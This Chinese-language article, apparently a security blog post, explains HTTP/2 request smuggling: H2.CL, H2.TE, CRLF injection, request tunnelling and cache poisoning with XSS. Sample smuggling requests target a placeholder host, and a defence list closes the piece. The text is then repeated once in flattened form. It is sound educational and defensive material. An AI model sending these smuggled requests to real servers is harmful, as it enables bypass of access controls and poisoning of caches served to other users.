HTTP2请求走私深入刨析
字数 1569 2025-08-23 18:31:17

HTTP/2请求走私深入分析与防御指南

协议概述

HTTP/2是HTTP协议自1999年HTTP 1.1发布后的首个重大更新,由IETF的httpbis工作小组开发,2015年2月17日被批准。主流浏览器在2015年底已支持该协议,截至2017年5月,排名前一千万的网站中有13.7%支持HTTP/2。

核心特性

头部压缩

HTTP/2采用HPACK算法进行头部压缩:

  • 使用静态表(预定义头部字段)和动态表(存储动态变化字段)
  • 两种编码方式:静态编码(使用预定义索引)和动态编码(使用索引号、字面量编码和哈夫曼编码)
  • 示例:原始头部字段压缩为二进制表示,显著减少传输开销

二进制传输

HTTP/2引入二进制成帧层,改变了数据交换方式:

  • 流(Stream):连接中的双向字节流,可携带多条消息
  • 消息(Message):映射到逻辑请求/响应的完整帧序列
  • 帧(Frame):最小通信单元,包含帧头和负载

多路复用技术

HTTP/2的多路复用特性:

  • 允许并行交错多个请求/响应帧
  • 消除HTTP/1.x的解决方法(如连接文件、图像精灵和域分片)
  • 提高网络利用率,缩短页面加载时间

帧格式详解

HTTP/2帧通用格式:

+-----------------------------------------------+
| Length (24)                                   |
+---------------+---------------+---------------+
| Type (8)      | Flags (8)    |
+-+-------------+---------------+-------------------------------+
|R| Stream Identifier (31)      |
+=+=============================================================+
| Frame Payload (0...)                        |
+-----------------------------------------------+

帧类型

  1. DATA帧(0x0):传输HTTP请求/响应的实际数据
  2. HEADERS帧(0x1):传输HTTP头部信息
  3. PRIORITY帧(0x2):指定请求/响应的优先级
  4. RST_STREAM帧(0x3):终止或重置指定流
  5. SETTINGS帧(0x4):交换配置参数
  6. PUSH_PROMISE帧(0x5):服务器主动推送资源
  7. PING帧(0x6):双向心跳检测
  8. GOAWAY帧(0x7):通知连接关闭
  9. WINDOW_UPDATE帧(0x8):调整流窗口大小
  10. CONTINUATION帧(0x9):传输拆分后的头部块

请求走私攻击

协议降级风险

HTTP/2降级是将HTTP/2请求重写为HTTP/1请求的过程,使攻击者可能引入请求走私所需的模糊性。

H2.CL漏洞

攻击原理:

  • 前端使用HTTP/2内置长度机制
  • 后端使用注入的Content-Length头
  • 示例攻击请求:
:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
content-length 0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1

H2.TE漏洞

攻击原理:

  • HTTP/2不兼容分块编码,但前端未剥离Transfer-Encoding头
  • 后端支持分块编码
  • 示例攻击请求:
:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
transfer-encoding chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar

高级攻击技术

响应队列中毒

攻击流程:

  1. 发送完整请求使后端收到两个请求
  2. 前端将第一个响应映射到初始请求
  3. 第二个响应保存在队列中
  4. 后续请求将收到队列中的响应

关键要求:

  • TCP连接在多个请求/响应周期中重用
  • 能发送完整请求并接收独特响应
  • 不导致服务器关闭连接

CRLF注入

利用HTTP/2二进制格式特性:

  • HTTP/2中\r\n在头值中无特殊意义
  • 降级为HTTP/1时,\r\n被解释为头分隔符
  • 示例:
:method GET
:path /
:authority vulnerable-website.com
foo bar\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: vulnerable-website.com

请求拆分

在消息头中拆分请求:

:method GET
:path /
:authority vulnerable-website.com
foo bar\r\n
Host: vulnerable-website.com\r\n
\r\n
GET /admin HTTP/1.1

请求隧道

当传统请求走私不可行时:

  • 发送一个请求,从后端得到两个响应
  • 绕过前端安全措施
  • 示例:
:method POST
:path /comment
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
foo bar\r\n
Content-Length: 200\r\n
\r\n
comment=
X-Internal-Header: secret
Content-Length: 3
x=1

实际攻击案例

缓存投毒

通过请求隧道实现:

  1. 将响应头与另一个响应的主体混合
  2. 利用未编码的用户输入实现XSS
  3. 示例:
:status 200
content-type text/html
content-length 174

HTTP/1.1 200 OK
Content-Type: application/json

{"name": "test<script>alert(1)</script>"}

防御措施

  1. 禁用HTTP/2降级:避免协议转换带来的风险
  2. 严格验证头字段:特别是Content-Length和Transfer-Encoding
  3. 规范化CRLF序列:防止头注入攻击
  4. 连接隔离:不同用户/会话使用不同后端连接
  5. 实施严格的长度检查:确保HTTP/2内置长度与Content-Length一致
  6. 更新中间件:使用最新版本的前端/后端服务器

总结

HTTP/2请求走私攻击利用协议降级和解析差异,通过精心构造的请求实现前端与后端之间的请求处理不一致。防御需要全面考虑协议特性、服务器配置和安全策略,特别是在混合协议环境中。

HTTP/2请求走私深入分析与防御指南 协议概述 HTTP/2是HTTP协议自1999年HTTP 1.1发布后的首个重大更新,由IETF的httpbis工作小组开发,2015年2月17日被批准。主流浏览器在2015年底已支持该协议,截至2017年5月,排名前一千万的网站中有13.7%支持HTTP/2。 核心特性 头部压缩 HTTP/2采用HPACK算法进行头部压缩: 使用静态表(预定义头部字段)和动态表(存储动态变化字段) 两种编码方式:静态编码(使用预定义索引)和动态编码(使用索引号、字面量编码和哈夫曼编码) 示例:原始头部字段压缩为二进制表示,显著减少传输开销 二进制传输 HTTP/2引入二进制成帧层,改变了数据交换方式: 流(Stream) :连接中的双向字节流,可携带多条消息 消息(Message) :映射到逻辑请求/响应的完整帧序列 帧(Frame) :最小通信单元,包含帧头和负载 多路复用技术 HTTP/2的多路复用特性: 允许并行交错多个请求/响应帧 消除HTTP/1.x的解决方法(如连接文件、图像精灵和域分片) 提高网络利用率,缩短页面加载时间 帧格式详解 HTTP/2帧通用格式: 帧类型 DATA帧(0x0) :传输HTTP请求/响应的实际数据 HEADERS帧(0x1) :传输HTTP头部信息 PRIORITY帧(0x2) :指定请求/响应的优先级 RST_ STREAM帧(0x3) :终止或重置指定流 SETTINGS帧(0x4) :交换配置参数 PUSH_ PROMISE帧(0x5) :服务器主动推送资源 PING帧(0x6) :双向心跳检测 GOAWAY帧(0x7) :通知连接关闭 WINDOW_ UPDATE帧(0x8) :调整流窗口大小 CONTINUATION帧(0x9) :传输拆分后的头部块 请求走私攻击 协议降级风险 HTTP/2降级是将HTTP/2请求重写为HTTP/1请求的过程,使攻击者可能引入请求走私所需的模糊性。 H2.CL漏洞 攻击原理: 前端使用HTTP/2内置长度机制 后端使用注入的Content-Length头 示例攻击请求: H2.TE漏洞 攻击原理: HTTP/2不兼容分块编码,但前端未剥离Transfer-Encoding头 后端支持分块编码 示例攻击请求: 高级攻击技术 响应队列中毒 攻击流程: 发送完整请求使后端收到两个请求 前端将第一个响应映射到初始请求 第二个响应保存在队列中 后续请求将收到队列中的响应 关键要求: TCP连接在多个请求/响应周期中重用 能发送完整请求并接收独特响应 不导致服务器关闭连接 CRLF注入 利用HTTP/2二进制格式特性: HTTP/2中\r\n在头值中无特殊意义 降级为HTTP/1时,\r\n被解释为头分隔符 示例: 请求拆分 在消息头中拆分请求: 请求隧道 当传统请求走私不可行时: 发送一个请求,从后端得到两个响应 绕过前端安全措施 示例: 实际攻击案例 缓存投毒 通过请求隧道实现: 将响应头与另一个响应的主体混合 利用未编码的用户输入实现XSS 示例: 防御措施 禁用HTTP/2降级 :避免协议转换带来的风险 严格验证头字段 :特别是Content-Length和Transfer-Encoding 规范化CRLF序列 :防止头注入攻击 连接隔离 :不同用户/会话使用不同后端连接 实施严格的长度检查 :确保HTTP/2内置长度与Content-Length一致 更新中间件 :使用最新版本的前端/后端服务器 总结 HTTP/2请求走私攻击利用协议降级和解析差异,通过精心构造的请求实现前端与后端之间的请求处理不一致。防御需要全面考虑协议特性、服务器配置和安全策略,特别是在混合协议环境中。